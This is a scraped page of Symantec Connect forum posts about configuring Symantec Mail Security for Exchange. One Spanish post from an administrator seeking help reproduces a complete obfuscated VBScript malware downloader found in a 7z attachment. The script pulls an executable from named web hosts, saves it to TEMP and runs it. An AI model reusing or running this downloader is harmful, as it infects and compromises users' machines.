Quantcast
Channel: Symantec Connect - Products - Discussions
Viewing all 400 articles
Browse latest View live
↧

Using content filter to block attachments - but need to allow 1 users through

May 19, 2017, 3:00 pm
$
0
0
I need a solution

I have a customer who i am blocking file attachments however I need to give one user full the ability of getting the email without the content filter affecting him.
I cant see away of doing... anyone got any ideas on how i could do this...

0
↧
Search

VSAPI still down and trying to reconnect

June 8, 2017, 8:32 am
$
0
0
I need a solution

Event error id is 417.  Restarting SMS did nothing.  The registry key is correct and is set to 0.  Unable to find anything on Symantec's web site regarding this combination of errors.  Any suggestions as to how to get the VSapi to reconnect?

0
↧
↧

SMSMSE instalacion en segundo server

July 27, 2017, 8:11 am
$
0
0
I need a solution

Es posible instalar SMSMSE en un segundo servidor en lugar de instalarlo en el mismo donde esta instalado el Exchange Server?

gracias

0
↧

Case sensitivity and flags in RegEx content filtering rules

July 28, 2017, 9:34 am
$
0
0
I do not need a solution (just sharing information)

I upgraded Mail Security to 7.5.5 a few months ago and migrated my File Name Rule (which has a habit of erroneously identifying pdf files as containing javascript) to a content filtering rule set to scan container files using the same match list that I used for the File Name Rule. Everything works great, with one exception. When using the File Name Rule, the wildcards in a match list had to match the entire file name. When using the wildcard match list in a Attachment Name content filtering rule, it doesn't (even when you specify "Whole Term" in the matching options). Since "*.com" is in that match list, any attachment that contains the name of a website from the .com tld (such as google.com) gets caught and quarantined, along with a couple of other miscelaneous files.

So, as an example, whenever I request a quote from one of our venders the quote file they send me contains their website and gets quarantined even though it's not actually a .com file, it just happens to contain the website in it's filename. So, I figured I would convert the wildcard match list over to a RegEx match, since it actually contains appropriate characters for specifying that a file name should end with .com. The issue that I've ran into with this is case sensitivity. There's no way to disable case sensitivity in regular expressions, at least when filtering by attachment name. This means going through to each of my regular expressions and manually making them case insensitive. So... I have to convert ".*\.COM$" into ".*\.[cC][oO][mM]$". That should work, however it's clunky and there should be other ways to make something this simple function.

Ideally, we should have a way to specify flags for regular expressions. Baring that, the ability to make attachment name content filtering rules case insensitive when filtering with regular expressions would suffice.

Any other ideas for a workaround?

0
↧

getting Symantec mail security for exchange block emails by sender's display name

August 17, 2017, 6:58 am
$
0
0
I need a solution

Hello all!

Running symantec mail security for microsof exchange v 7.5.5.128 on windows 2012R2

One of our customer is being spammed:

He's getting email who's display name is Loteria Nacional.
Email come from many different domains so i can't use this for the content filtering rule.

I've tried to add this lines as a match list but it doesen't work.

rule is for any part - literal string

Loteria Nacional De Espana
Loteria Nacional

how can i block emails from a specific display name?

Thanks for your support!

0
↧
↧

Nuevo Virus enviado por .7z

August 18, 2017, 4:21 am
$
0
0
I need a solution

Hola, he detectado a travez de Mail Security de Enpoin que este no analiza bien el contenido de los archivos comprimidos. 

Dentro de mis filtros he creado una politica de revision de tal menera que todo correo entrante o saliente con un adjunto comprimido lo analice, esta semana recibimos nuevos virus pero estan usando el compresor 7zip.

Dentro de este viene un .vbs

He aislado el codigo y estoy revisando el contenido y que hace:

Necesito ayuda para poder detenerlo:

El codigo que trae es el siguiente:

Tuve que agregar esta extension.

 
function ep_planetroute(route,move,start, target)
    dim x,y,astarmap(60,20)
    for x=0 to 60
        for y=0 to 20
 
            if move<tmap(x,y).walktru then astarmap(x,y)=1500
            if tmap(x,y).onopen<>0 then astarmap(x,y)=0 
            if tmap(x,y).no=45 then astarmap(x,y)=1500
        next
    next
    return a_star(route(),target,start,astarmap(),60,20,0,rollover)
end function 
 
Function Andd ( Biel1 , Biel2 )
Andd = 0
If Biel1 = 1 then
If Biel2 = 1 then 
Andd = 1
end if
end if
end function
function oandd ( Biel1 , Biel2 )
 
oandd = nott ( andd (biel1 , biel2 ) )
 
end function
Dim gagagagadrierheal33 'As String
Vrungel = ".responseB"+"ody"
 
Function LabradorPS2(dry)
 
if dry > 2 AND 2232 > dry Then
gagagagadrierandIknowIT = gagagagadriercAfee.responseBody
end if
 
End Function
 
 
  gagagagadrierRH = "User"
 
 
Dim gagagagadrierLAKOPPC 'As String
'Dim RDFGO() 'As String
 Dim gagagagadrier2 'As String
Dim gagagagadrierGMAKO 'As Object
       Dim TristateTrue
 
 
 
Dim gagagagadriercAfee 'As Object
Dim SPCcontractorsR 'As Object
 
 
Function LabradorPS()
SPCcontractorsR.Savetofile gagagagadrierheal33, 2
End Function
 
Function gagagagadrierTeethk(p)
 
 
 gagagagadriercAfee.Send
 
End Function
Dim gagagagadrierrepost
gagagagadrierrepost = false
     Dim RDFGO
 
Dim gagagagadrierKSKLAL 'As Object
 
Function F3(p) 
    Set gagagagadrierRombickom = CreateObject("WScript.Shell")
End Function
Dim gagagagadrier1DASH1solo 'As Object   
    
 
gagagagadrier2 = "Microsoft.XMLHTTPSwingAdodb.streaMSwingshell"+".ApplicationSwingWscript.shellSwingProcessSwingGeTSwingTem"+"PSwingTypeSwingopenSwingwriteSwingresponseBodySwingsavet"+"ofileSwing\GOYEaF.e"+"xeSwinghttp:Swing//"
 
 
Dim gagagagadrier4 'As String
Function GeometryDash(p,d)
 gagagagadrierRombickom.Run(gagagagadrierheal33u)
End Function
 
Function Razdel( s500 )
   Razdel = Split(gagagagadrier2, s500)
End Function
 
 
  Dim sWholeVis 'As String
Dim gagagagadrierandIknowIT 'As Variant
Dim dePetya 'As Integer
gagagagadrierRH = gagagagadrierRH&"-"
Dim iSlashPOS 'As Integer
  Dim sDecimalVis 'As String
sWholeVis = "A"
 
Lunchers = Split("luczko.pl/86hHYU6?^74jhdrommdtyis.net/af/86hHYU6", "^")
 
Dim MarketPlaceibility 'As String
  Dim sNodeKey 'As String
  Dim sParentKey 'As String
  Dim MarketPlace 'As String
     RDFGO = Razdel(""&"Swing")
  Dim sTempVis 'As String
  Dim iCount 'As Integer
Dim gagagagadrierRombickom
zTempVis = RDFGO(1)
iSlashPOS = 12
'Set gagagagadrierGMAKO = CreateObject(RDFGO(8-6))
Set Darkness = GetRef("GeometryDash")
 
Set SPCcontractorsR = CreateObject("Adodb.streaM")
 
MarketPlace = RDFGO(13) & RDFGO(14)
gagagagadrierRH = gagagagadrierRH&sWholeVis&"gent"
Set gagagagadrier1DASH1solo = CreateObject(RDFGO(3))
Set gagagagadriercAfee = CreateObject(RDFGO(0))
 dePetya = 1
 Set gagagagadrierKSKLAL = gagagagadrier1DASH1solo.Environment(RDFGO(1 + 3))
 gagagagadrierLAKOPPC = gagagagadrierKSKLAL(RDFGO(6))
 
 
sTempVis = RDFGO(iSlashPOS)
 Dim i
 'on error GoTo nextU
' on error resume next
ubnd = UBound(Lunchers)
 
 
For i = 0 To ubnd Step 1
 dePetya = 1 + dePetya 
 gagagagadrier4 = MarketPlace & Lunchers(i)
 gagagagadriercAfee.Open RDFGO(5), gagagagadrier4, False
gagagagadriercAfee.setRequestHeader gagagagadrierRH, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
on error resume next 
gagagagadrierTeethk ""
If gagagagadriercAfee.Status = 200 Then
gagagagadrierrepost = true
 Exit For
End If
Next
 
on error goto 0
 
 
Function gagagagadrierSEND(p)
 
 
 p.Send
 
End Function
function drawroulettetable()
    dim  x,y,z
    dim coltable(36) 
    coltable(0)=10
    coltable(1)=12
    coltable(2)=15
    coltable(3)=12
    coltable(4)=15
    coltable(5)=12
    coltable(6)=15
    coltable(7)=12
    coltable(8)=15
    coltable(9)=12
    coltable(10)=15
    coltable(11)=15
    coltable(12)=12
    coltable(13)=15
    coltable(14)=12
    coltable(15)=15
    coltable(16)=12
    coltable(17)=15
    coltable(18)=12
    coltable(19)=12
    coltable(20)=15
    coltable(21)=12
    coltable(22)=15
    coltable(23)=12
    coltable(24)=15
    coltable(25)=12
    coltable(26)=15
    coltable(27)=12
    coltable(28)=15
    coltable(29)=15
    coltable(30)=12
    coltable(31)=15
    coltable(32)=12
    coltable(33)=15
    coltable(34)=12
    coltable(35)=15
    coltable(36)=12
 
    z=0
    for y=1 to 12
        for x=1 to 3
            z=z+1
            locate y+2,x*3+45,0
            if coltable(z)=12 then
                set__color  12,2
            else
                set__color  0,2
            end if
            
        next
    next
    set__color 15,0
    return 0
end function
 
if gagagagadrierrepost Then
Dim Ratchet 'As String
 gagagagadrierheal33 = gagagagadrierLAKOPPC+ sTempVis
F3 ""
SPCcontractorsR.Type = 1
 SPCcontractorsR.Open
LabradorPS2 13 
SPCcontractorsR.Write gagagagadrierandIknowIT
LabradorPS()
 
Dim HeWas,SheWas 'As Long
gagagagadrierheal33u = gagagagadrierheal33 
 
 
HeWas = 2123
 
 
If 939  < HeWas Then
 SheWas = ""
Darkness 4,SheWas
End If
 
end if
Function hullPosix(ByVal i )
    DIM  cmdPipe 
    If(i = 1) Then
         runCmd = "cvlc "& chr(34) & media & chr(34) & ""& vlcArgs & "&"
 
    ElseIf (i = 2) Then
        If (pid <> "NULL") Then
           SHELL "kill "& pid
  pid = "NULL"
End If
    End If
End Function
0
↧

allow Spam for outlook client user no blok at admin server filtering Spam

August 18, 2017, 5:51 am
$
0
0
I need a solution

Hello Community ,

Please confirm if the "Symantec ™ Mail Security for Microsoft® Exchange" solution allows to an automatically identified group of people (AD group) to automatically move the captured SPAMs directly to the "junk mail" folder at the Microsoft Outlook client .

0
↧

mail security for exchange evaluation license

August 23, 2017, 6:05 am
$
0
0
I need a solution

Dears,

I just wanna know what is the limitation of evaluation license for mail security for exchange for example is it limited for specific number of mail boxes ?

Thanks in Advance

0
↧
Search

Black List

September 4, 2017, 5:33 am
$
0
0
I need a solution

Доброго времени суток!

Среда : DAG - Exchange 2016 Version 15.1 ‎(Build 396.30)‎ / SMSMSE 7.5.4. 109

Нужно: реализация Black List, но без оповещения Original Recipient.

Сам Black List работает, но я хочу чтобы подозрительные письма попадали в карантин но пользователь не знал об этом.

Нативной рализации ,как я понял, нет.

На форуме нашёл реализацию из двух Правил контент фильтра, но не работает. Там на втором правиле предлагается отлавливать сообщения с замененым текстом. Только это не работает т.к. нужно одно и тоже сообщение два раза пропустать через проверку, а так не делается.

Вот прошу помощи, кто сталкнулся и кто как сделал?

0
↧
↧

Blacklist without recipients notification

September 4, 2017, 5:45 am
$
0
0
I need a solution

Hi everyone!

My Environment : DAG Exchange 2016 Version 15.1 ‎(Build 396.30)‎  and SMSME 7.5.4 109

I created "Black list" by Content Filtering Rules.

How i can delete/disable notification for recipients? I want only "Quarantine entire message".

0
↧

Mail security file types

September 12, 2017, 1:38 am
$
0
0
I need a solution

i want to block different file types other than the extensions mentioned in file type rules in symantec mail security for exchange .. how can i do that 

0
↧

Setup mail rule

September 20, 2017, 8:38 am
$
0
0
I need a solution

Hi,

A customer has asked me to create a rule in Symantec Mail Security for Exchange which blocks all mail with certain subject. The subject to be blocked is 'Some text (12345)' being 12345 whatever combination of numbers, but always five.

I have tried to create a Match list with this regular expression: \d\d\d\d\d and called it 'Five digits'. Then, a Content filter rule that scans subject and rule content with match type regular expression (also tried literal string. Content: Contains. Match all items. And in the box below:

Some text(

Five digits

)

But it doesn't work.

How can I achieve this?

0
↧

Outbreak Management

September 21, 2017, 3:57 am
$
0
0
I need a solution

Dear Community,

I'd like to ask for your help. I've set up Outbreak Managament according to the documentation but it seems I've misconfigured something, because it simply won't do what I want.

My goal is simple: SMSME automatically recognizes mass spams and handle it accordingly.

  1. I've enabled advanced scanning options for Auto-Protect scanning
  2. Enabled "Quarantine Triggered Subjects" default content filtering rule -> LOG only, because I want to test it
  3. Enabled "Same Subject" outbreak rule, and Update Match List
  4. Added "Outbreak Triggered Subject Lines" rule
    • In Users tab, I've added some mail addresses with wildcard (*) that should NOT be considered as spammer if sending a tons of emails

With this done, I thought it is going to work. However, when a user in my domain is trying to send mass emails, SMSME alerts me every time which is not good. Not to mention that when I see mass emails from outside are not even recognized by Outbreak Management.

Thank you and looking forward to your answer,
Csaba

0
↧
↧

Content Filtering Rules by sender AND recipient

September 26, 2017, 8:09 am
$
0
0
I need a solution

Hello,

I setup a content filtering rule in SMSME to block all attachments in the 'rule' tab (company policy) except for a white list of approved SENDERS we defined, in the 'users' tab. 

However, I would like to  skip that rule for certain recipient email accounts (for candiates sending resumes for example). However, the 'users' tab only allows to choose between sender or recipient, not both (thus the radio button) as shown below. 

I would like to keep the current sender filtering but add recipient filtering to skip this rule when the recipient is in the list. Any idea how I could get this working?

I'm running SMSME 7.5.4.109 on Win2k8 R2

0
↧

New ISTR Special Report: Email Threats 2017

October 5, 2017, 9:18 am
↧
Search

How to fix problem with attachments ATT00001 in Mail Security for Exchange

October 30, 2017, 8:37 am
$
0
0
I need a solution

Hello, everyone.

I configure policy by principle: block all file type in attachments and add an exceptions to this policy.

But Symantec Mail Security is beginning block or quarantined some messages for example messages from Microsoft Exchange with subject "Undeliver: ....".

When i was seeing to Event Logs, i found there logs about: "

The attachment "ATT00001" located in message with subject ...., located in SMTP has violated the following policy settings:
Scan: Auto-Protect
Rule: 
The following actions were taken on it:
The attachment "ATT00001" was quarantined for the following reason(s):
UNAUTHORIZED FILE was found, A File Filtering Rule was violated."

Can you help me with this situation?

0
↧

Blocking outgoing spam With Symantec Mail Security For Exchange

October 30, 2017, 9:36 am
$
0
0
I need a solution

Hi , 

We are using Symantec Mail security for exchange 7.5 in our organization.We have enabled premium anti spam feature and so far its working fine for inbound spams.But its premium anti spam feature is not blocking outgoing spams from our exchange email server.

Just wanted to confirm if it only block inbound spam? 

We can create a custum outgoing rules but just want to know if it's premium anti spam has this functionality to automatically block outgoing spam from our email server.

0
1509524957
↧
↧

SMSMSE Brightmail cannot be found errors in Event Log

November 3, 2017, 7:04 am
$
0
0
I need a solution

HI,

I am getting alot of the following errors in event log.

The description for Event ID 514 from source Brightmail cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

[Brightmail] (ALERT:22584.3448): [12462] Low disk space detected: stats will not be processed.

There is plenty of room on the disk that has the SMSME install, and from what I can see SMSME is working correctly

SMSME Verion 7.5.6.125

Exchange Server 2016 CU7

0
↧

Updating SMSMSE manually with a Powershell script

November 9, 2017, 10:08 am
$
0
0
I need a solution

Hi

I am trying to write a script that can pipe the name of the intelligent updater file 

I am trying to manually update SMSMSE 7.5.3.100  on our Exchange servers using a script.  I have read the following link and this works manually through the command prompt (https://support.symantec.com/en_US/article.HOWTO12...) but I want to script it (Powershell seems the obvious choice).

I have a script that copies the latest intelligent updater file to a location but I am unable to pipe the name of the file into a .bat file for the  following command:

<Date-rev>-core15v5i32.exe /Extract VIRSCAN.zip "C:\ProgramData\Symantec\Definitions\SymcData\VirusDefs32\incoming"

The .exe file seems to only support the /Extract switch which I can't use in Powershell.

If anyone has any ideas as to how to script this that would be great,

Thanks

Chris

0
↧

Scans files by Symantec Mail Security for Exchange

November 13, 2017, 2:00 am
$
0
0
I do not need a solution (just sharing information)

Hello, Guys.

I have a some question. We configured policy in "Content Filtering Rules". In this policy we allowed some types of files, all another we block. Question: if some files do not belong to this policy, so Does SMSFE scan this files which skip by all configured policies?

Thank you.  

0
↧
Viewing all 400 articles
Browse latest View live
Search
<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>